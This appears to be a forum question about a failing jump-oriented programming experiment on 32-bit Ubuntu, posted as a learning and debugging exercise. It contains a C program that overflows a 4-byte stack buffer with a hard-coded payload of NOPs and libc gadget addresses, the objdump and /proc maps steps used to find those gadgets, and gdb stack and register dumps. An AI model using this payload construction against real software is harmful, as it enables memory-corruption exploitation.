Actually I'm trying to write and execute a Jump oriented Programming example in Ubuntu 12.10 32 bit and Intel x86 architecture. The first gadget I want it to execute on target system, starts with a POPA instruction. I found its offset address by using objdump -D /lib/libc.so.6 > Cdump.txt from the Cdump.txt file. Then I ran my vulnerable program with gdb and found the range of executable segment of my program using these commands:
ps ax|grep vul
21193 pts/2 S+ 0:00 gdb vul
==>to find the process number of "gdb vul".
grep libc /proc/21193/maps
b7a4a000-b7bed000 r-xp 00000000 08:01 656054 /lib/i386-linux-gnu/libc-2.15.so
==>to find out where the executable program is loaded in memory.
I wrote my arbitrary sequence of instruction's addresses and off the ASLR and Canary protection. This is my simple code to overflow the stack and change the content of "return" in stack to trig my JOP sequences.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}
I debug the program and monitor the stack contents and also registers information. every thing is OK until the esp reaches (%ebp)+8 address, means the address after return. this 4Bytes should load the edi according to POPA instruction which loads in order of edi,esi,ebp,esp,ebx,edx,ecx,eax.
So edi should load by this address = 0xB7BB7AD6 return content in stack is = 0xB7BB7AD5 (The POPA address)
But after memcpy() and it wants to leave, I get this message:
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.
0xb7bb7ad5 in ?? ()
What is this ERROR? Why I can't change the control flow of the program to another instruction in the executable memory of my process?
Please look below for more and detailed information:
This is the 12 top words on stack:
(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff68c: 0xb7bb7ad5 0xb7bb7ad6 0xb7bb7ad8 0xb7bb7adb
0xbffff69c: 0xbffff69c 0xb7fc6000 0xbffff6cc 0xbffff724
and registers:
(gdb) info registers
eax 0xbffff67c -1073744260
ecx 0xbffff6b4 -1073744204
edx 0xbffff6b0 -1073744208
ebx 0xb7fc6000 -1208197120
esp 0xbffff690 0xbffff690
ebp 0x90909090 0x90909090
esi 0x0 0
edi 0x0 0
eip 0xb7bb7ad5 0xb7bb7ad5
eflags 0x200283 [ CF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51